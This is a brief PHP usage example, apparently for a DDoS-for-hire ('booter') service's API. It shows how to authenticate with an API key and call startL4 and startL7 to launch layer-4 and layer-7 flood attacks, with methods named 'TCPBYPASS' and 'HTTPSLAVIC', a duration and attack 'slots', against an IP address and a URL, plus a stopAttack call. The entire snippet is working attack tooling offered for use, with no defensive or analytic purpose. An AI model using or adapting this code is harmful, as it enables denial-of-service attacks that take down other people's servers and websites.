PHP version 5.x (+).
Libcurl package.
require 'API.php';
// Username and API Key generated from API Manager website.
$api = new API("username", "your-apikey");
/* Parameters : IPv4 , Port , Time , Method , Slots */
$response = $api->startL4("1.1.1.1", 80, 15, "TCPBYPASS", 1);
/* Parameters : URL , Time , Method , Slots , Type */
$response = $api->startL7("https://example.com/", 15, "HTTPSLAVIC", 1, "GET");
/* Parameters : Host. */
$response = $api->stopAttack("1.1.1.1");
echo $response; // Get API response.